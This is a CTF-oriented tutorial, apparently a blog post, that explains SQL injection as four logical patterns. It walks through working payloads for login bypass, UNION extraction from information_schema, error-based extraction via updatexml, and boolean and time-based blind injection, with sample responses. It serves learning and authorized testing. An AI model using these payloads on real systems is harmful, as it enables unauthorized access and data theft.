SQL Injection Is Just Four Math Tricks
This article only explains technical principles and defense ideas. All examples are for authorized testing or CTF competition learning. Unauthorized testing of others' systems is illegal; please do not use them for illegal purposes.
Preface: Why can't you write the 101st payload after memorizing 100?
90% of SQL injection tutorials online teach "prescriptions":
- Try
' OR 1=1 --on login boxes - Try
UNION SELECT 1,2,3when there is an echo - Try
AND SLEEP(5)when there is no echo
If you follow along, you can indeed get results. But the problem is: change the scenario, change the database, change the CTF challenge, and you're unsure what to try again.
Because you are memorizing words, not understanding grammar.
What this article aims to do is break down the consistent mathematical logic behind SQL injection for you. You will find:
- All injection techniques essentially do the same thing
- 99% of payload structures can be derived on the spot, no memorization needed
- When encountering a new scenario, your thought process becomes: "What feedback does the page give → Which mathematical model does it correspond to → Construct the payload on the spot"
This approach is "bottom-up" — first understand the foundation (mathematical logic), then look at the buildings on the ground (various injection techniques). With a solid foundation, nothing built on top will go wrong.
Chapter 1: Learning just four sentences covers 90% of injection scenarios
Forget about databases, function names, and syntax details for now. We only learn four logical skeletons.
The mathematical ideas corresponding to these four sentences are:
| No. | Logical Skeleton | Mathematical Essence | One-sentence Human Explanation |
|---|---|---|---|
| ① | OR True |
Predicate Logic — OR operation short-circuit | "Either the condition is met, or what I say is always right" |
| ② | AND False |
Predicate Logic — AND operation lie detection | "I add a false condition; does the page change?" |
| ③ | UNION SELECT |
Set Theory — Union operation | "Stick my data behind your data" |
| ④ | AND + SUBSTRING character-by-character breakdown |
Predicate Logic + Assertion Traversal | "Guess a character; if correct, the page is normal" |
The first and second sentences are logical cornerstones; the fourth is a specific application of the second. You'll see how they connect later.
Mastering these four sentences already covers the four core schools: Union injection, Boolean blind injection, Error-based injection, and Time-based blind injection. The rest is just swapping function names for different databases (like changing SLEEP to pg_sleep), the logic remains unchanged.
First Sentence: OR True — Logical Short-Circuit, Bypassing Authentication
Mathematical Essence: A OR True is always True. Regardless of whether A is true or false, as long as OR is followed by an always-true proposition, the entire expression is short-circuited to true.
Practical Scenario: Login box.
The backend query logic is usually like this:
SELECT * FROM users WHERE username = 'input_username' AND password = 'input_password'
If data is found, the account and password are correct, allowing login.
Now, you enter in the username field:
admin' OR 1=1 --
After backend concatenation, it becomes:
SELECT * FROM users WHERE username = 'admin' OR 1=1 --' AND password = 'xxx'
-- is a comment symbol in SQL, which "cuts off" the following AND password. So the actual executed logic is:
SELECT * FROM users WHERE username = 'admin' OR 1=1
Because 1=1 is always true, the condition after OR is permanently true. The entire query condition becomes true, and the database returns the first user record in that table (usually the admin).
Thus, you log in as an administrator without needing the password.
Key Insight: OR 1=1 is not for "fetching data"; it's for breaking the circuit — it invalidates the preceding condition check, forcing the entire query to return true.
Second Sentence: AND False — Logical Lie Detection, Probing for Vulnerabilities
Mathematical Essence: A AND False is always False. Regardless of whether A is true or false, as long as AND is followed by an always-false proposition, the entire expression is "pulled" to false.
Practical Scenario: URL parameter ?id=1, the page displays a product detail.
First, we input:
?id=1 AND 1=1
Because 1=1 is true, the original condition id=1 AND True = True, the page displays the product normally.
Then input:
?id=1 AND 1=2
Because 1=2 is false, the original condition id=1 AND False = False, the page becomes blank or throws an error.
The key conclusion:
- Page normal = The condition I attached is True
- Page blank/error = The condition I attached is False
The server becomes a truth table display. You ask it a "yes/no" question, and it answers with "normal/blank".
This is the starting point of "Boolean blind injection" — you haven't started stealing data yet, but you already have a lie detector.
Third Sentence: UNION SELECT — Set Union, Sticking Data onto the Page
This is the main weapon when there are echo positions. Its mathematical essence is the union operation in set theory: stacking two result sets vertically into one large table.
But to use UNION, a hard rule must be met first: the queries on both sides must return the same number of columns. This is a fundamental requirement for set union.
Deduction: Getting data step by step
Assume the target URL is http://ctf.target/product?id=1, and the normal page displays the product name and price.
Step 1: Empty the original result set
If the original query returns data, UNION will stick our data below it. To make our data occupy the top of the page exclusively, first make the original query return an empty set:
?id=-1
There is no product with id=-1 in the database, so the original query returns an empty set. Next, Empty Set ∪ Your Data = Your Data, perfect.
Step 2: Count the number of columns (Probe with ORDER BY)
Because UNION requires the left and right column counts to be equal, you first need to know how many columns the original query returns.
Try sequentially:
?id=-1 ORDER BY 1 → Normal
?id=-1 ORDER BY 2 → Normal
?id=-1 ORDER BY 3 → Normal
?id=-1 ORDER BY 4 → Error
ORDER BY sorts by the Nth column; sorting by a non-existent column causes an error. The number that causes the error minus 1 is the column count.
In this example, the error occurs at 4, meaning the original query returns 3 columns.
Step 3: Placeholders, see which columns are displayed on the page
Now you know there are 3 columns, input:
?id=-1 UNION SELECT 1,2,3
The page might show only 2 and 3, with 1 not displayed.
This indicates: the web backend only takes the 2nd and 3rd columns of the result set to render on the page (the 1st column might be used for internal logic, not displayed).
At this point, you have found two "slots" (the 2nd and 3rd columns) where you can stuff any data you want to steal.
Advanced Tip: What if the placeholder doesn't show a number, only a "broken image"?
Change the placeholder from a number to a string, like'x'. If the letterxappears on the page, this column can carry text data, suitable for stealing passwords; if it's still a broken image, this column can only store data like image paths, abandon it and try another column.
The mathematical meaning of this action is range testing — first figure out what type of data this "slot" can hold, then decide how to use it.
Step 4: Query the catalog table, find the target table and column
You now know the 2nd and 3rd columns can display content, but you still don't know where the flag is hidden.
Every database has its own "catalog tables" recording all table names and column names:
information_schema.tables→ Records all table namesinformation_schema.columns→ Records all column names
First, query the table name in the display slot:
?id=-1 UNION SELECT 1, table_name, 3 FROM information_schema.tables
The position on the page that originally displayed 2 starts scrolling out a large number of table names. You quickly spot flag_table.
Then check what columns this table has:
?id=-1 UNION SELECT 1, column_name, 3 FROM information_schema.columns WHERE table_name='flag_table'
The page displays: flag_col.
Step 5: Harvest the data
?id=-1 UNION SELECT 1, flag_col, 3 FROM flag_table
The 2nd column position prominently shows: flag{SQL_Math_Master}.
Special Case: What if
flag_tablehas hundreds of rows and the page only shows the first row?
Replaceflag_colwithgroup_concat(flag_col). This function glues multiple rows of data into a single string, displaying them all at once.
Fourth Sentence: AND + SUBSTRING Character-by-Character Breakdown — The Core of Boolean Blind Injection
Now look back at the second sentence (AND False). We only used it to probe whether a vulnerability exists. But its real power comes after you have the "lie detector" — you start using this lie detector to guess every character in the database.
Mathematical Essence: Extract the character to be guessed and attach it as an "assertion" after AND. If the assertion is true, the page is normal; if false, the page is blank.
Deduction: Character-by-character brute-force decryption
Assume you already know flag_table has flag_col, but the page has no display slots and no error messages. You only have two states: "normal/blank".
Step 1: First determine the length of the target data
?id=1 AND (SELECT LENGTH(flag_col) FROM flag_table LIMIT 1)=40
If the page is normal, the length is 40; if blank, continue trying 41, 42...
This step can be optimized with binary search: first try
>30, then>35, which is more efficient.
Step 2: Guess characters one by one
You now know the length is 40. Guess the first character:
?id=1 AND (SELECT SUBSTRING(flag_col, 1, 1) FROM flag_table LIMIT 1)='a'
- Page normal → The first character is
a - Page blank → Change to
'b'and continue trying
Try 'c', 'd'... until you find the correct one, then guess the 2nd, 3rd... until you piece together the complete flag{...}.
Optimization Tip: Trying 26 letters one by one is too slow. Use ASCII codes with binary search:
Ask "Is the ASCII code greater than 100" → normal/blank → halve the range → ask "Is it greater than 110"...
On average, 7 attempts can determine one character, much faster than trying 26 times.
At this point, you have learned the four core skeletons
Review:
OR True→ Login bypass, logical short-circuitAND False→ Vulnerability probe + Lie detectorUNION SELECT→ Directly stick data when there is an echoAND + SUBSTRING→ Guess character by character using the lie detector when there is no echo
But these four only cover situations with "echo" and "true/false states".
What if the page neither displays data nor distinguishes normal/blank, only throws error messages?
What if the page shows nothing at all, and the only perceivable thing is the network response time?
Chapter 2: When the Page is Silent — Error-Based Injection and Time-Based Blind Injection
The four skeletons in the previous chapter rely on two types of page feedback: data display (UNION) and truth state (AND lie detection).
But there's a more disgusting scenario in CTFs: the page has no display slots and doesn't distinguish between normal and blank — everything looks the same no matter what you input, the only thing you can see is a line of error message, or you can't see anything and can only rely on timing.
These two scenarios are actually simpler mathematically. Because they just change the "output channel": one uses the exception throwing channel, the other uses the time delay channel.
Error-Based Injection: The Exception is the Channel
Scenario Characteristics: The page has no display slots and no "normal/blank" true/false changes. But as soon as you input illegal syntax, the page pops up a line of MySQL error message. The developer did not turn off error prompts.
Mathematical Essence: Splice the target data into a function parameter that inevitably triggers a type error, causing the database to "smuggle" the data out within the error message.
Goal: Get the flag through the error message.
Deduction Begins
Assume the target URL is http://ctf.target/product?id=1. Normal access shows a default product image. Inputting any AND 1=2 causes no page change, but inputting a malformed syntax pops up an error.
Step 1: Confirm the error function is usable
First, use a purely testing error function — updatexml(), which is used to modify the path of an XML document.
?id=1 AND updatexml(1, 0x7e, 1)
0x7e is the hexadecimal representation of the tilde ~, which is not a valid XPath path. If the page error message contains ~, it means the database indeed executed our function and the error message can carry the content we stuffed in.
Page response:
XPATH syntax error: '~'
Confirmed: The error function is usable, and the error message can carry data.
Step 2: Extract the database name
?id=1 AND updatexml(1, concat(0x7e, database()), 1)
database() returns the current database name (e.g., ctf_db), concat glues it with the tilde into ~ctf_db, stuffed into the second parameter of updatexml.
Page response:
XPATH syntax error: '~ctf_db'
Database name obtained.
Step 3: Extract table names (row by row extraction)
Error-based injection has a fatal flaw: it can only "shake out" one row of data at a time. If information_schema.tables has 100 tables, querying directly will cause an error truncation. So you need to use LIMIT to fetch them one by one.
First, fetch the first table:
?id=1 AND updatexml(1, concat(0x7e, (SELECT table_name FROM information_schema.tables LIMIT 0, 1)), 1)
Page shows ~users. Fetch the second:
?id=1 AND updatexml(1, concat(0x7e, (SELECT table_name FROM information_schema.tables LIMIT 1, 1)), 1)
Page shows ~products. Continue fetching until flag_table is found.
Step 4: Extract column names
After finding flag_table, check its column names:
?id=1 AND updatexml(1, concat(0x7e, (SELECT column_name FROM information_schema.columns WHERE table_name='flag_table' LIMIT 0, 1)), 1)
Shakes out flag_col.
Step 5: Extract data
?id=1 AND updatexml(1, concat(0x7e, (SELECT flag_col FROM flag_table LIMIT 0, 1)), 1)
Page shows:
XPATH syntax error: '~flag{SQL_Math_Master}'
Data obtained.
Key Insight of Error-Based Injection:
- You don't need display slots, you don't need true/false states
- You only need a function that can stuff data into the error message
updatexmlandextractvalueare the two most commonly used error functions in MySQL- Different databases have different functions (e.g., PostgreSQL uses
cast()to trigger type conversion errors), but the mathematical logic is completely consistent: map the target data into the exception information
Time-Based Blind Injection: Time Domain is the Signal
Scenario Characteristics: The page is absolutely static — no display slots, no error messages, no true/false changes. All requests return identical HTTP status codes and page content. The only perceivable difference is the loading spinner time in the bottom right corner of the browser.
Mathematical Essence: Use the "Boolean proposition" to be judged as the condition of an IF statement. If the condition is true, execute a delay function (like sleeping for 5 seconds); if false, return immediately. Use the difference in response time to infer each bit of the data.
Goal: Use a "stopwatch" to measure out the flag bit by bit.
Deduction Begins
Step 1: Confirm the delay function is usable
First, test if the SLEEP() primitive is allowed to execute.
Input:
?id=1 AND IF(1=1, SLEEP(5), 0)
The browser spins for a full 5 seconds before loading.
Then input:
?id=1 AND IF(1=2, SLEEP(5), 0)
The browser loads instantly.
Confirmed: IF(condition, execute_if_true, execute_if_false) works correctly. If the condition is true, it sleeps for 5 seconds; if false, it skips. We have a logical stopwatch.
Step 2: Determine the data length
You guess the flag might be in flag{...} format, length around 40. But you need precision.
Try sequentially:
?id=1 AND IF((SELECT LENGTH(flag_col) FROM flag_table LIMIT 1)=30, SLEEP(5), 0)
Waited 5 seconds → Length is 30? No, 30 just matched. Continue trying 31, 32... until it hangs for 5 seconds at 40.
Confirmed length is 40.
Step 3: Guess characters one by one
Now guess the first character. Extract the first character of flag_col and compare it against the alphabet (a-z, 0-9, {, }) one by one.
?id=1 AND IF((SELECT SUBSTRING(flag_col, 1, 1) FROM flag_table LIMIT 1)='a', SLEEP(5), 0)
Loads instantly → Not 'a'. Try 'b', 'c'... when trying 'f', it hangs for 5 seconds.
The first character is 'f'.
Guess the second character:
?id=1 AND IF((SELECT SUBSTRING(flag_col, 2, 1) FROM flag_table LIMIT 1)='a', SLEEP(5), 0)
Try sequentially until the complete flag{...} is pieced together.
Optimization Tip: Binary Search
Trying 26 letters one by one is too slow. Use ASCII codes with binary search to locate a character in 7 attempts.
First ask:
?id=1 AND IF((SELECT ASCII(SUBSTRING(flag_col, 1, 1)) FROM flag_table LIMIT 1)>100, SLEEP(5), 0)
If it hangs for 5 seconds → ASCII code is greater than 100. Then ask >110, then >115... halving the range each time. After 7 attempts, precisely lock the character's ASCII code value.
40 characters × 7 attempts = 280 requests, much faster than 40 × 26 = 1040 attempts.
Key Insight of Time-Based Blind Injection:
- You don't need any visible feedback
- You need a function combination that can map a Boolean value to a time difference (
IF+SLEEP) - Different databases have different delay functions (MySQL uses
SLEEP, PostgreSQL usespg_sleep, SQLite has no built-in delay function but can substitute with complex calculations) - But the mathematical essence remains unchanged: Boolean proposition → Time difference mapping
Chapter 3: A Unified Framework for Four Types of Channels
Now you have learned the four skeletons + two extended schools. Looking at them together, it becomes clear.
All Injection Techniques Do the Same Thing
Finding an "output side channel".
The database executed your query and got the result. But the result won't actively tell you — you need to find a physical channel you can observe for the database to "spit" the result into.
| Channel Type | Observation Method | Representative Technique | Mathematical Essence |
|---|---|---|---|
| Result Set Channel | Page displays data | UNION SELECT | Set Union Projection |
| Truth Value Channel | Page normal/blank | AND 1=1 / 1=2 | Predicate Truth Table |
| Exception Channel | Error message content | updatexml error | Type System Conflict |
| Time Channel | Response latency | IF + SLEEP | Conditional Delayed Execution |
Attack Decision Flow
When you face an input point, follow this flow; no need to memorize any payload:
Input Point → Test injection point (single quote) → Confirm execution environment (1=1/1=2)
→ Choose output channel:
Has display slots? → UNION (Result Set Channel)
Has error messages? → updatexml (Exception Channel)
Has true/false states? → AND + SUBSTRING (Truth Value Channel)
Only time is perceivable? → IF + SLEEP (Time Channel)
→ Construct Payload → Extract Data
Three Ultimate Questions
Facing any injection scenario, you only need to ask yourself three questions:
What feedback can the current page give me?
Display slots? Error messages? True/false states? Or only response time?How do I "stuff" the query result into this feedback channel?
For example, use UNION to stick data into display slots, use concat to splice into error functions for the error channel, use IF to mount delay functions for the time channel.How much data volume can this channel carry?
Display a whole row at once? Only one character at a time? At most the first N characters of a row? Based on this, decide whether to useLIMITto fetch row by row,group_concatto merge, orSUBSTRINGto break down character by character.
Final Words
When you master this mathematical framework, facing any input point, your thought process becomes:
Page feedback type → Select corresponding mathematical model → Derive payload structure on the spot
This process is called creation, not memorization.
You don't need to remember what type the second parameter of updatexml is, you don't need to remember the syntax details of extractvalue, you don't need to memorize what tables are in information_schema. You only need to know:
- I need a function that can trigger an error
- I need a system table that records all table names
- I need to splice the target data as a parameter and stuff it in
Then go check the documentation, flip through notes, try it on the spot. This is much more effective than memorizing 100 payloads.
Because payloads change, databases change, WAF rules change. But set theory doesn't change, predicate logic doesn't change, mapping relationships don't change.
This is the power of "bottom-up".
Disclaimer
All technical content in this article is solely for cybersecurity enthusiasts to learn CTF competitions and conduct authorized system testing. Unauthorized penetration testing on any production system, third-party website, or personal account is illegal. The author and the publishing platform of this article do not assume any legal liability arising from readers' improper operations. Please comply with the "Cybersecurity Law of the People's Republic of China" and related laws and regulations, and learn technical knowledge under legal and compliant premises.
End of article.